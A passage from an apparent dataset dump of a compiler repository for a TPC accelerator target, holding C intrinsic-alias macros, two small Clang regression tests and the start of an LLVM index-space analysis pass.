v_i16_ash_v_s v_i16_ash_v_v\n#define v_u16_ash_v_s v_u16_ash_v_v\n#define v_i8_ash_v_s v_i8_ash_v_v\n#define v_u8_ash_v_s v_u8_ash_v_v\n\n// ST_L\n#define f32_st_l_s_s_b(a, v, s, p, o) s_f32_st_l(a, v, s, p, o)\n#define bf16_st_l_s_s_b(a, v, s, p, o) s_bf16_st_l(a, v, s, p, o)\n#define i32_st_l_s_s_b(a, v, s, p, o) s_i32_st_l(a, v, s, p, o)\n#define u32_st_l_s_s_b(a, v, s, p, o) s_u32_st_l(a, v, s, p, o)\n#define i16_st_l_s_s_b(a, v, s, p, o) s_i16_st_l(a, v, s, p, o)\n#define u16_st_l_s_s_b(a, v, s, p, o) s_u16_st_l(a, v, s, p, o)\n#define i8_st_l_s_s_b(a, v, s, p, o) s_i8_st_l(a, v, s, p, o)\n#define u8_st_l_s_s_b(a, v, s, p, o) s_u8_st_l(a, v, s, p, o)\n#define b_st_l_s_b_b(a, v, s, p, o) s_i1_st_l(a, v, s, p, o)\n\n#define f32_st_l_s_s(a, v, s) f32_st_l_s_s_b(a, v, s, 1, 0)\n#define bf16_st_l_s_s(a, v, s) bf16_st_l_s_s_b(a, v, s, 1, 0)\n#define f16_st_l_s_s(a, v, s) f16_st_l_s_s_b(a, v, s, 1, 0)\n#define i32_st_l_s_s(a, v, s) i32_st_l_s_s_b(a, v, s, 1, 0)\n#define u32_st_l_s_s(a, v, s) u32_st_l_s_s_b(a, v, s, 1, 0)\n#define i16_st_l_s_s(a, v, s) i16_st_l_s_s_b(a, v, s, 1, 0)\n#define u16_st_l_s_s(a, v, s) u16_st_l_s_s_b(a, v, s, 1, 0)\n#define i8_st_l_s_s(a, v, s) i8_st_l_s_s_b(a, v, s, 1, 0)\n#define u8_st_l_s_s(a, v, s) u8_st_l_s_s_b(a, v, s, 1, 0)\n#define b_st_l_s_b(a, v, s) b_st_l_s_b_b(a, v, s, 1, 0)\n\n\n// ST_G\n#define f32_st_g_a_s_b(a, v, p, o) s_f32_st_g(a, v, 0, p, o)\n#define bf16_st_g_a_s_b(a, v, p, o) s_bf16_st_g(a, v, 0, p, o)\n#define i32_st_g_a_s_b(a, v, p, o) s_i32_st_g(a, v, 0, p, o)\n#define u32_st_g_a_s_b(a, v, p, o) s_u32_st_g(a, v, 0, p, o)\n#define i16_st_g_a_s_b(a, v, p, o) s_i16_st_g(a, v, 0, p, o)\n#define u16_st_g_a_s_b(a, v, p, o) s_u16_st_g(a, v, 0, p, o)\n#define i8_st_g_a_s_b(a, v, p, o) s_i8_st_g(a, v, 0, p, o)\n#define u8_st_g_a_s_b(a, v, p, o) s_u8_st_g(a, v, 0, p, o)\n#define b_st_g_a_b_b(a, v, p, o) s_i1_st_g(a, v, 0, p, o)\n\n#define f32_st_g_a_s(a, v) f32_st_g_a_s_b(a, v, 1, 0)\n#define bf16_st_g_a_s(a, v) bf16_st_g_a_s_b(a, v, 1, 0)\n#define f16_st_g_a_s(a, v) f16_st_g_a_s_b(a, v, 1, 0)\n#define i32_st_g_a_s(a, v) i32_st_g_a_s_b(a, v, 1, 0)\n#define u32_st_g_a_s(a, v) u32_st_g_a_s_b(a, v, 1, 0)\n#define i16_st_g_a_s(a, v) i16_st_g_a_s_b(a, v, 1, 0)\n#define u16_st_g_a_s(a, v) u16_st_g_a_s_b(a, v, 1, 0)\n#define i8_st_g_a_s(a, v) i8_st_g_a_s_b(a, v, 1, 0)\n#define u8_st_g_a_s(a, v) u8_st_g_a_s_b(a, v, 1, 0)\n#define b_st_g_a_b(a, v) b_st_g_a_b_b(a, v, 1, 0)\n\n\n// ST_L_V\n\n#define f32_st_l_v_s_v_b(a, v, p, o) v_f32_st_l_v(a, v, 0, p, o)\n#define bf16_st_l_v_s_v_b(a, v, p, o) v_bf16_st_l_v(a, v, 0, p, o)\n#define i32_st_l_v_s_v_b(a, v, p, o) v_i32_st_l_v(a, v, 0, p, o)\n#define u32_st_l_v_s_v_b(a, v, p, o) v_u32_st_l_v(a, v, 0, p, o)\n#define i16_st_l_v_s_v_b(a, v, p, o) v_i16_st_l_v(a, v, 0, p, o)\n#define u16_st_l_v_s_v_b(a, v, p, o) v_u16_st_l_v(a, v, 0, p, o)\n#define i8_st_l_v_s_v_b(a, v, p, o) v_i8_st_l_v(a, v, 0, p, o)\n#define u8_st_l_v_s_v_b(a, v, p, o) v_u8_st_l_v(a, v, 0, p, o)\n#define st_l_v_s_bv_b(a, v, p, o) v_i1_st_l_v(a, v, 0, p, o)\n\n#define f32_st_l_v_s_v(a, v) f32_st_l_v_s_v_b(a, v, 1, 0)\n#define bf16_st_l_v_s_v(a, v) bf16_st_l_v_s_v_b(a, v, 1, 0)\n#define f16_st_l_v_s_v(a, v) f16_st_l_v_s_v_b(a, v, 1, 0)\n#define i32_st_l_v_s_v(a, v) i32_st_l_v_s_v_b(a, v, 1, 0)\n#define u32_st_l_v_s_v(a, v) u32_st_l_v_s_v_b(a, v, 1, 0)\n#define i16_st_l_v_s_v(a, v) i16_st_l_v_s_v_b(a, v, 1, 0)\n#define u16_st_l_v_s_v(a, v) u16_st_l_v_s_v_b(a, v, 1, 0)\n#define i8_st_l_v_s_v(a, v) i8_st_l_v_s_v_b(a, v, 1, 0)\n#define u8_st_l_v_s_v(a, v) u8_st_l_v_s_v_b(a, v, 1, 0)\n#define st_l_v_s_bv(a, v) st_l_v_s_bv_b(a, v, 1, 0)\n\n#define f32_st_l_v_low_s_v_b(a, v, p, o) v_f32_st_l_v_low(a, v, 0, p, o)\n#define bf16_st_l_v_low_s_v_b(a, v, p, o) v_bf16_st_l_v_low(a, v, 0, p, o)\n#define i32_st_l_v_low_s_v_b(a, v, p, o) v_i32_st_l_v_low(a, v, 0, p, o)\n#define u32_st_l_v_low_s_v_b(a, v, p, o) v_u32_st_l_v_low(a, v, 0, p, o)\n#define i16_st_l_v_low_s_v_b(a, v, p, o) v_i16_st_l_v_low(a, v, 0, p, o)\n#define u16_st_l_v_low_s_v_b(a, v, p, o) v_u16_st_l_v_low(a, v, 0, p, o)\n#define i8_st_l_v_low_s_v_b(a, v, p, o) v_i8_st_l_v_low(a, v, 0, p, o)\n#define u8_st_l_v_low_s_v_b(a, v, p, o) v_u8_st_l_v_low(a, v, 0, p, o)\n#define st_l_v_low_s_bv_b(a, v, p, o) v_i1_st_l_v_low(a, v, 0, p, o)\n\n#define f32_st_l_v_low_s_v(a, v) f32_st_l_v_low_s_v_b(a, v, 1, 0)\n#define bf16_st_l_v_low_s_v(a, v) bf16_st_l_v_low_s_v_b(a, v, 1, 0)\n#define f16_st_l_v_low_s_v(a, v) f16_st_l_v_low_s_v_b(a, v, 1, 0)\n#define i32_st_l_v_low_s_v(a, v) i32_st_l_v_low_s_v_b(a, v, 1, 0)\n#define u32_st_l_v_low_s_v(a, v) u32_st_l_v_low_s_v_b(a, v, 1, 0)\n#define i16_st_l_v_low_s_v(a, v) i16_st_l_v_low_s_v_b(a, v, 1, 0)\n#define u16_st_l_v_low_s_v(a, v) u16_st_l_v_low_s_v_b(a, v, 1, 0)\n#define i8_st_l_v_low_s_v(a, v) i8_st_l_v_low_s_v_b(a, v, 1, 0)\n#define u8_st_l_v_low_s_v(a, v) u8_st_l_v_low_s_v_b(a, v, 1, 0)\n#define st_l_v_low_s_bv(a, v) st_l_v_low_s_bv_b(a, v, 1, 0)\n\n#define f32_st_l_v_high_s_v_b(a, v, p, o) v_f32_st_l_v_high(a, v, 0, p, o)\n#define bf16_st_l_v_high_s_v_b(a, v, p, o) v_bf16_st_l_v_high(a, v, 0, p, o)\n#define i32_st_l_v_high_s_v_b(a, v, p, o) v_i32_st_l_v_high(a, v, 0, p, o)\n#define u32_st_l_v_high_s_v_b(a, v, p, o) v_u32_st_l_v_high(a, v, 0, p, o)\n#define i16_st_l_v_high_s_v_b(a, v, p, o) v_i16_st_l_v_high(a, v, 0, p, o)\n#define u16_st_l_v_high_s_v_b(a, v, p, o) v_u16_st_l_v_high(a, v, 0, p, o)\n#define i8_st_l_v_high_s_v_b(a, v, p, o) v_i8_st_l_v_high(a, v, 0, p, o)\n#define u8_st_l_v_high_s_v_b(a, v, p, o) v_u8_st_l_v_high(a, v, 0, p, o)\n#define st_l_v_high_s_bv_b(a, v, p, o) v_i1_st_l_v_high(a, v, 0, p, o)\n\n#define f32_st_l_v_high_s_v(a, v) f32_st_l_v_high_s_v_b(a, v, 1, 0)\n#define bf16_st_l_v_high_s_v(a, v) bf16_st_l_v_high_s_v_b(a, v, 1, 0)\n#define f16_st_l_v_high_s_v(a, v) f16_st_l_v_high_s_v_b(a, v, 1, 0)\n#define i32_st_l_v_high_s_v(a, v) i32_st_l_v_high_s_v_b(a, v, 1, 0)\n#define u32_st_l_v_high_s_v(a, v) u32_st_l_v_high_s_v_b(a, v, 1, 0)\n#define i16_st_l_v_high_s_v(a, v) i16_st_l_v_high_s_v_b(a, v, 1, 0)\n#define u16_st_l_v_high_s_v(a, v) u16_st_l_v_high_s_v_b(a, v, 1, 0)\n#define i8_st_l_v_high_s_v(a, v) i8_st_l_v_high_s_v_b(a, v, 1, 0)\n#define u8_st_l_v_high_s_v(a, v) u8_st_l_v_high_s_v_b(a, v, 1, 0)\n#define st_l_v_high_s_bv(a, v) st_l_v_high_s_bv_b(a, v, 1, 0)\n\n#define aso_b(a, b, p, o) aso(a | (b << 1), p, o)\n\n#define s_u32_udiv_step_s_b(i, a, s, p, o) u32_udiv_step(a, s, 0, i, p, o)\n#define s_u32_udiv_step_s(i, a, s) s_u32_udiv_step_s_b(i, a, s, 1, 0)\n#define s_u16_udiv_step_s_b(i, a, s, p, o) u16_udiv_step(a, s, 0, i, p, o)\n#define s_u16_udiv_step_s(i, a, s) s_u16_udiv_step_s_b(i, a, s, 1, 0)\n#define s_u8_udiv_step_s_b(i, a, s, p, o) u8_udiv_step(a, s, 0, i, p, o)\n#define s_u8_udiv_step_s(i, a, s) s_u8_udiv_step_s_b(i, a, s, 1, 0)\n\n\n#define s_u32_udiv_4step_s_b(i, a, s, p, o) u32_udiv_4step(a, s, 0, i, p, o)\n#define s_u32_udiv_4step_s(i, a, s) s_u32_udiv_4step_s_b(i, a, s, 1, 0)\n#define s_u16_udiv_4step_s_b(i, a, s, p, o) u16_udiv_4step(a, s, 0, i, p, o)\n#define s_u16_udiv_4step_s(i, a, s) s_u16_udiv_4step_s_b(i, a, s, 1, 0)\n#define s_u8_udiv_4step_s_b(i, a, s, p, o) u8_udiv_4step(a, s, 0, i, p, o)\n#define s_u8_udiv_4step_s(i, a, s) s_u8_udiv_4step_s_b(i, a, s, 1, 0)\n\n// MOV\n#define bv_i32_mov_flavor_s_vb(a, i, f, p, o) v_i1_mov_flavor_vb(a, f, 0, i, p, o)\n#define bv_i32_mov_flavor_s_b(a, i, f, p, o) v_i1_mov_flavor_b(a, f, 0, i, p, o)\n#define bv_i32_mov_flavor_s(a, i, f) bv_i32_mov_flavor_s_b(a, i, f, 1, 0)\n#define bv_u32_mov_flavor_s_vb(a, i, f, p, o) v_i1_mov_flavor_vb(a, f, 0, i, p, o)\n#define bv_u32_mov_flavor_s_b(a, i, f, p, o) v_i1_mov_flavor_b(a, f, 0, i, p, o)\n#define bv_u32_mov_flavor_s(a, i, f) bv_u32_mov_flavor_s_b(a, i, f, 1, 0)\n\n#define i_i32_mov_s_b(a, i, m, p, o) i_i32_mov(a, m, 0, i, p, o)\n#define i_i32_mov_i_b(a, i, m, p, o) i_i32_mov(a, m, 0, i, p, o)\n#define i_i32_mov_s(a, i, m) i_i32_mov_s_b(a, i, m, 1, 0)\n#define i_i32_mov_i(a, i, m) i_i32_mov_i_b(a, i, m, 1, 0)\n\n#define b_b_mov_b_b(a, i, p, o) s_i1_mov(a, 0, i, p, o)\n#define b_b_mov_b(a) (a)\n\n#define b_f32_mov_s_b(a, i, p, o) s_i1_mov((as_int(a) & 0x01), 0, i, p, o)\n#define b_bf16_mov_s_b(a, i, p, o) s_i1_mov((as_short(a) & 0x01), 0, i, p, o)\n#define b_i32_mov_s_b(a, i, p, o) s_i1_mov(((a) & 0x01), 0, i, p, o)\n#define b_u32_mov_s_b(a, i, p, o) s_i1_mov(((a) & 0x01), 0, i, p, o)\n#define b_i16_mov_s_b(a, i, p, o) s_i1_mov(((a) & 0x01), 0, i, p, o)\n#define b_u16_mov_s_b(a, i, p, o) s_i1_mov(((a) & 0x01), 0, i, p, o)\n#define b_i8_mov_s_b(a, i, p, o) s_i1_mov(((a) & 0x01), 0, i, p, o)\n#define b_u8_mov_s_b(a, i, p, o) s_i1_mov(((a) & 0x01), 0, i, p, o)\n\n#define b_f32_mov_s(a) b_f32_mov_s_b(a, 0, 1, 0)\n#define b_bf16_mov_s(a) b_bf16_mov_s_b(a, 0, 1, 0)\n#define b_i32_mov_s(a) b_i32_mov_s_b(a, 0, 1, 0)\n#define b_u32_mov_s(a) b_u32_mov_s_b(a, 0, 1, 0)\n#define b_i16_mov_s(a) b_i16_mov_s_b(a, 0, 1, 0)\n#define b_u16_mov_s(a) b_u16_mov_s_b(a, 0, 1, 0)\n#define b_i8_mov_s(a) b_i8_mov_s_b(a, 0, 1, 0)\n#define b_u8_mov_s(a) b_u8_mov_s_b(a, 0, 1, 0)\n\n#define bv_mov_bv_b(a, i, p, o) v_i1_mov_b(a, 0, i, p, o)\n#define bv_mov_bv_vb(a, i, p, o) v_i1_mov_vb(a, 0, i, p, o)\n#define bv_mov_bv(a) (a)\n\n#define bv_mov_b_b(a, i, p, o) v_i1_mov_i1_b(a, 0, i, p, o)\n#define bv_mov_b_vb(a, i, p, o) v_i1_mov_i1_vb(a, 0, i, p, o)\n#define bv_mov_b(a) bv_mov_b_b(a, (bool256){0}, 1, 0)\n\n#define bv_b_mov_bv_b bv_mov_bv_b\n#define bv_b_mov_bv_vb bv_mov_bv_vb\n#define bv_b_mov_bv bv_mov_bv\n#define bv_b_mov_b_b bv_mov_b_b\n#define bv_b_mov_b_vb bv_mov_b_vb\n#define bv_b_mov_b bv_mov_b\n\n#define v_f32_mov_v_vb(a, i, p, o) v_f32_mov_vb(a, 0, i, to_bool64(p), o)\n#define v_bf16_mov_v_vb(a, i, p, o) v_bf16_mov_vb(a, 0, i, to_bool128(p), o)\n#define v_i32_mov_v_vb(a, i, p, o) v_i32_mov_vb(a, 0, i, to_bool64(p), o)\n#define v_u32_mov_v_vb(a, i, p, o) v_u32_mov_vb(a, 0, i, to_bool64(p), o)\n#define v_i16_mov_v_vb(a, i, p, o) v_i16_mov_vb(a, 0, i, to_bool128(p), o)\n#define v_u16_mov_v_vb(a, i, p, o) v_u16_mov_vb(a, 0, i, to_bool128(p), o)\n#define v_i8_mov_v_vb(a, i, p, o) v_i8_mov_vb(a, 0, i, p, o)\n#define v_u8_mov_v_vb(a, i, p, o) v_u8_mov_vb(a, 0, i, p, o)\n\n#define v_f32_mov_v_b(a, i, p, o) v_f32_mov_b(a, 0, i, p, o)\n#define v_bf16_mov_v_b(a, i, p, o) v_bf16_mov_b(a, 0, i, p, o)\n#define v_i32_mov_v_b(a, i, p, o) v_i32_mov_b(a, 0, i, p, o)\n#define v_u32_mov_v_b(a, i, p, o) v_u32_mov_b(a, 0, i, p, o)\n#define v_i16_mov_v_b(a, i, p, o) v_i16_mov_b(a, 0, i, p, o)\n#define v_u16_mov_v_b(a, i, p, o) v_u16_mov_b(a, 0, i, p, o)\n#define v_i8_mov_v_b(a, i, p, o) v_i8_mov_b(a, 0, i, p, o)\n#define v_u8_mov_v_b(a, i, p, o) v_u8_mov_b(a, 0, i, p, o)\n\n#define v_f32_mov_s_b v_f32_mov_v_b\n#define v_bf16_mov_s_b v_bf16_mov_v_b\n#define v_i32_mov_s_b v_i32_mov_v_b\n#define v_u32_mov_s_b v_u32_mov_v_b\n#define v_i16_mov_s_b v_i16_mov_v_b\n#define v_u16_mov_s_b v_u16_mov_v_b\n#define v_i8_mov_s_b v_i8_mov_v_b\n#define v_u8_mov_s_b v_u8_mov_v_b\n\n#define v_f32_mov_s_vb v_f32_mov_v_vb\n#define v_bf16_mov_s_vb v_bf16_mov_v_vb\n#define v_i32_mov_s_vb v_i32_mov_v_vb\n#define v_u32_mov_s_vb v_u32_mov_v_vb\n#define v_i16_mov_s_vb v_i16_mov_v_vb\n#define v_u16_mov_s_vb v_u16_mov_v_vb\n#define v_i8_mov_s_vb v_i8_mov_v_vb\n#define v_u8_mov_s_vb v_u8_mov_v_vb\n\n#define v_f32_mov_v(a) (a)\n#define v_bf16_mov_v(a) (a)\n#define v_i32_mov_v(a) (a)\n#define v_u32_mov_v(a) (a)\n#define v_i16_mov_v(a) (a)\n#define v_u16_mov_v(a) (a)\n#define v_i8_mov_v(a) (a)\n#define v_u8_mov_v(a) (a)\n\n#define v_f32_mov_s(a) (a)\n#define v_bf16_mov_s(a) (a)\n#define v_i32_mov_s(a) v_i32_mov_s_b(a, 0, 1, 0)\n#define v_u32_mov_s(a) v_u32_mov_s_b(a, 0, 1, 0)\n#define v_i16_mov_s(a) v_i16_mov_s_b(a, 0, 1, 0)\n#define v_u16_mov_s(a) v_u16_mov_s_b(a, 0, 1, 0)\n#define v_i8_mov_s(a) v_i8_mov_s_b(a, 0, 1, 0)\n#define v_u8_mov_s(a) v_u8_mov_s_b(a, 0, 1, 0)\n\n#define s_f32_mov_s_b(a, i, p, o) s_f32_mov(a, 0, i, p, o)\n#define s_bf16_mov_s_b(a, i, p, o) s_bf16_mov(a, 0, i, p, o)\n#define s_i32_mov_s_b(a, i, p, o) s_i32_mov(a, 0, i, p, o)\n#define s_u32_mov_s_b(a, i, p, o) s_u32_mov(a, 0, i, p, o)\n#define s_i16_mov_s_b(a, i, p, o) s_i16_mov(a, 0, i, p, o)\n#define s_u16_mov_s_b(a, i, p, o) s_u16_mov(a, 0, i, p, o)\n#define s_i8_mov_s_b(a, i, p, o) s_i8_mov(a, 0, i, p, o)\n#define s_u8_mov_s_b(a, i, p, o) s_u8_mov(a, 0, i, p, o)\n\n#define s_f32_mov_s(a) (a)\n#define s_bf16_mov_s(a) (a)\n#define s_i32_mov_s(a) (a)\n#define s_u32_mov_s(a) (a)\n#define s_i16_mov_s(a) (a)\n#define s_u16_mov_s(a) (a)\n#define s_i8_mov_s(a) (a)\n#define s_u8_mov_s(a) (a)\n\n#endif\n\n#if defined(__gaudi__)\n#define v_f32_ld_tnsr_r_b v_f32_ld_tnsr_b\n#define v_i32_ld_tnsr_r_b v_i32_ld_tnsr_b\n#define v_u32_ld_tnsr_r_b v_u32_ld_tnsr_b\n#define v_i16_ld_tnsr_r_b v_i16_ld_tnsr_b\n#define v_u16_ld_tnsr_r_b v_u16_ld_tnsr_b\n#define v_i8_ld_tnsr_r_b v_i8_ld_tnsr_b\n#define v_u8_ld_tnsr_r_b v_u8_ld_tnsr_b\n#define v_i1_ld_tnsr_r_b v_i1_ld_tnsr_b\n\n#define v_f32_ld_tnsr_low_r_b v_f32_ld_tnsr_low_b\n#define v_i32_ld_tnsr_low_r_b v_i32_ld_tnsr_low_b\n#define v_u32_ld_tnsr_low_r_b v_u32_ld_tnsr_low_b\n#define v_i16_ld_tnsr_low_r_b v_i16_ld_tnsr_low_b\n#define v_u16_ld_tnsr_low_r_b v_u16_ld_tnsr_low_b\n#define v_i8_ld_tnsr_low_r_b v_i8_ld_tnsr_low_b\n#define v_u8_ld_tnsr_low_r_b v_u8_ld_tnsr_low_b\n#define v_i1_ld_tnsr_low_r_b v_i1_ld_tnsr_low_b\n\n#define v_f32_ld_tnsr_high_r_b v_f32_ld_tnsr_high_b\n#define v_i32_ld_tnsr_high_r_b v_i32_ld_tnsr_high_b\n#define v_u32_ld_tnsr_high_r_b v_u32_ld_tnsr_high_b\n#define v_i16_ld_tnsr_high_r_b v_i16_ld_tnsr_high_b\n#define v_u16_ld_tnsr_high_r_b v_u16_ld_tnsr_high_b\n#define v_i8_ld_tnsr_high_r_b v_i8_ld_tnsr_high_b\n#define v_u8_ld_tnsr_high_r_b v_u8_ld_tnsr_high_b\n#define v_i1_ld_tnsr_high_r_b v_i1_ld_tnsr_high_b\n\n#define v_f32_st_tnsr_r v_f32_st_tnsr\n#define v_bf16_st_tnsr_r v_bf16_st_tnsr\n#define v_i32_st_tnsr_r v_i32_st_tnsr\n#define v_u32_st_tnsr_r v_u32_st_tnsr\n#define v_i16_st_tnsr_r v_i16_st_tnsr\n#define v_u16_st_tnsr_r v_u16_st_tnsr\n#define v_i8_st_tnsr_r v_i8_st_tnsr\n#define v_u8_st_tnsr_r v_u8_st_tnsr\n#define v_i1_st_tnsr_r v_i1_st_tnsr\n\n#define v_f32_st_tnsr_low_r v_f32_st_tnsr_low\n#define v_bf16_st_tnsr_low_r v_bf16_st_tnsr_low\n#define v_i32_st_tnsr_low_r v_i32_st_tnsr_low\n#define v_u32_st_tnsr_low_r v_u32_st_tnsr_low\n#define v_i16_st_tnsr_low_r v_i16_st_tnsr_low\n#define v_u16_st_tnsr_low_r v_u16_st_tnsr_low\n#define v_i8_st_tnsr_low_r v_i8_st_tnsr_low\n#define v_u8_st_tnsr_low_r v_u8_st_tnsr_low\n#define v_i1_st_tnsr_low_r v_i1_st_tnsr_low\n\n#define v_f32_st_tnsr_high_r v_f32_st_tnsr_high\n#define v_bf16_st_tnsr_high_r v_bf16_st_tnsr_high\n#define v_i32_st_tnsr_high_r v_i32_st_tnsr_high\n#define v_u32_st_tnsr_high_r v_u32_st_tnsr_high\n#define v_i16_st_tnsr_high_r v_i16_st_tnsr_high\n#define v_u16_st_tnsr_high_r v_u16_st_tnsr_high\n#define v_i8_st_tnsr_high_r v_i8_st_tnsr_high\n#define v_u8_st_tnsr_high_r v_u8_st_tnsr_high\n#define v_i1_st_tnsr_high_r v_i1_st_tnsr_high\n#endif\n\n#define cache_flush_b cache_flush\n#define cache_invalidate_b cache_invalidate\n\n//hack to avoid ISA mispell\n#define bv_i16_and_bv_bv bv_b_and_bv_bv\n#define bv_i16_and_bv_bv_b bv_b_and_bv_bv_b\n#define bv_i16_and_bv_bv_vb bv_b_and_bv_bv_vb\n#define bv_u16_and_bv_bv bv_b_and_bv_bv\n#define bv_u16_and_bv_bv_b bv_b_and_bv_bv_b\n#define bv_u16_and_bv_bv_vb bv_b_and_bv_bv_vb\n\n\n#endif\n" }, { "alpha_fraction": 0.4736842215061188, "alphanum_fraction": 0.546558678150177, "avg_line_length": 29.875, "blob_id": "aca15af4d61502fa1bcad814cf2d70a2b99e8736", "content_id": "55b27a98786a8b4cdd034275cc5b41b319801b92", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 247, "license_type": "permissive", "max_line_length": 106, "num_lines": 8, "path": "/clang/test/RC99/IntrinsicsL/aso_b.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -bfloat16 -target-cpu gaudi %s -o - | FileCheck %s\n\nvoid main(int x2) {\n aso_b(1, 1, x2, 0);\n aso_b(0, 1, x2, 1);\n}\n// CHECK: aso dec vpu %SP{{[0-9]+}}\n// CHECK: aso vpu !%SP{{[0-9]+}}\n" }, { "alpha_fraction": 0.46100279688835144, "alphanum_fraction": 0.558495819568634, "avg_line_length": 26.576923370361328, "blob_id": "0653357322081040f1c7cc66298a655af00e6686", "content_id": "af3e3690468a196bc683e92f134e025cb01aceb3", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 718, "license_type": "permissive", "max_line_length": 91, "num_lines": 26, "path": "/clang/test/RC99/regression/gaudi-650.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -O1 %s -o -\n\nvoid main(float src_v1, float src_v2,\n tensor input_tnsr, tensor out_tnsr)\n{\n int5 out_index = {-1,0,0,0,0};\n\n float64_float64_pair_t result_float64_pair;\n\n float64_float64_pair_t f64_pair_src = { src_v1, src_v2 };\n //float64_float64_pair_t f64_pair_src = { 1.0, 2.0 }; // no carsh\n\n result_float64_pair = v_f32_f32_sel2_grt_v_v_v_v_b // comment out - no crash\n (\n (float64)1.0,\n (float64)1.0,\n (float64)1.0,\n (float64)1.0,\n f64_pair_src,\n 1,\n 0\n );\n\n out_index[0] += 1;\n f32_st_tnsr_i_v(out_index, out_tnsr, result_float64_pair.v1); // comment out - no crash\n}\n\n" }, { "alpha_fraction": 0.5564607977867126, "alphanum_fraction": 0.5614118576049805, "avg_line_length": 36.395729064941406, "blob_id": "658f53b5d14ae3c786796e6913a038559b0c736f", "content_id": "8cff91062b8d8d26a804443e9a5dba9b1fd2b060", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 73520, "license_type": "permissive", "max_line_length": 115, "num_lines": 1966, "path": "/llvm/lib/Target/TPC/TPCIndexSpaceGen.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===- TPCIndexSpace.cpp --- TPC INDEX SPACE ------------------------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//===----------------------------------------------------------------------===//\n\n#include \"TPCIndexSpaceGen.h\"\n#include \"llvm/Support/Debug.h\"\n\n#define INVALID_SCEV 9999\n#define INVALID_STRIDE 999\n\nstatic cl::opt<bool> IndexSpaceWarning(\"index-space-warn\", cl::init(false),\n cl::Hidden);\n\nstatic cl::opt<bool> IndexSpaceMLIR(\"index-space-mlir\", cl::init(false),\n cl::Hidden);\nstatic cl::opt<bool>\n EmitIndexFactors(\"emit-index-factors\",\n cl::desc(\"Enable index space generation.\"), cl::init(true),\n cl::ZeroOrMore, cl::Hidden);\n\nchar TPCIndexGen::ID = 0;\nINITIALIZE_PASS_BEGIN(TPCIndexGen, PassName, PassDescription, false, false)\nINITIALIZE_PASS_END(TPCIndexGen, PassName, PassDescription, false, false)\nFunctionPass *llvm::createTPCIndexGen() { return new TPCIndexGen(); }\n\nvoid TPCIndexGen::findTensorLoops(Function &F, bool LoopFlag = 0) {\n // Iterating through LI gives top level loops.\n for (Loop *TopLevelLoop : *LI) {\n for (Loop *L : depth_first(TopLevelLoop)) {\n bool HasInt5 = false;\n\n for (PHINode &PHI : L->getHeader()->phis()) {\n if (PHI.getType() == Int5Ty) {\n HasInt5 = true;\n break;\n }\n }\n // TODO : Include all loops\n if (HasInt5 || LoopFlag)\n TensorLoops.push_back(L);\n }\n }\n}\n\nllvm::GlobalVariable *processIndexSpace(Module *M, StringRef Name,\n std::string TestString, Type *Int8Ty) {\n std::vector<Constant *> GVConst;\n ArrayType *ATy;\n for (auto const &C : TestString) {\n GVConst.push_back(ConstantInt::get(Int8Ty, C));\n }\n ATy = ArrayType::get(Int8Ty, GVConst.size());\n return (new llvm::GlobalVariable(*M, ATy, false, GlobalValue::ExternalLinkage,\n ConstantArray::get(ATy, GVConst), Name,\n nullptr));\n}\n\nunsigned fetchIndexFromOperand(unsigned Operand) {\n unsigned Count = 0;\n while (Operand) {\n Operand = Operand >> 1;\n ++Count;\n }\n if (Count)\n return (Count - 1);\n else\n return Count;\n}\n\nbool TPCIndexGen::runOnFunction(Function &F) {\n bool InnerUpdatesOnly = 0, ZeroLoopCount = 0;\n if (!EmitIndexFactors)\n return false;\n\n SE = &getAnalysis<ScalarEvolutionWrapperPass>().getSE();\n LI = &getAnalysis<LoopInfoWrapperPass>().getLoopInfo();\n Int5Ty = VectorType::get(Type::getInt32Ty(F.getContext()), 5);\n\n findTensorLoops(F);\n\n if (TensorLoops.size() == 0 || TensorLoops.size() == 1 ||\n TensorLoops.size() == 2) {\n if (!TensorLoops.size())\n ZeroLoopCount = 1;\n InnerUpdatesOnly = 1;\n findTensorLoops(F, InnerUpdatesOnly);\n }\n TensorAccessAnalysis TAA(TensorLoops, SE, LI);\n if (!ZeroLoopCount)\n InnerUpdatesOnly = 0;\n TAA.prepareLdStLData(F);\n TAA.prepareStLData(F);\n TAA.processLoadStoreLocalInfo(F);\n TAA.processPragmaInfo(F);\n TAA.computeTensorInfo(F, InnerUpdatesOnly);\n if(!IndexSpaceMLIR)\n TAA.dumpIntoASM();\n else\n TAA.dumpIntoASM_MLIR();\n if (TAA.getIndexSpaceBool()) {\n LLVM_DEBUG(dbgs() << \"Caught an exception\");\n return false;\n }\n // Dump data into a separate asm section\n // const_cast is needed to adhere to GlobalVariable constructor\n llvm::Module *M = const_cast<llvm::Module *>(F.getFunction().getParent());\n StringRef Name = \"SCEVCost From TPC Index\";\n Type *Int8Ty = llvm::Type::getInt8Ty(F.getFunction().getContext());\n std::string IndexMapString = \" SCEVBEGIN IndexSpace:\";\n TAA.updateIndSpaceCoords();\n if(!IndexSpaceMLIR){\n TAA.analyseGenAddr();\n TAA.updateAddMask();\n TAA.padGCCustom();\n }\n for (const auto &Input : TAA.getInputVector())\n IndexMapString += Input.Name;\n for (const auto &Output : TAA.getOutputVector())\n IndexMapString += Output.Name;\n for (const auto &Aux : TAA.getAuxVector())\n IndexMapString += Aux.Name;\n for (const auto &GC : TAA.getGCCustomVec())\n IndexMapString += GC.Name;\n IndexMapString += \" #SCEVEND\";\n if (F.getMetadata(\"reduction_or_norm_axes\")) {\n IndexMapString += \" ReductionNormAxes- IDs : { \";\n for (const auto &ID : TAA.getRedNormTensorVec())\n IndexMapString += std::to_string(ID) + \" \";\n IndexMapString += \"}\";\n IndexMapString += \" Axes : { \";\n for (const auto &Axis 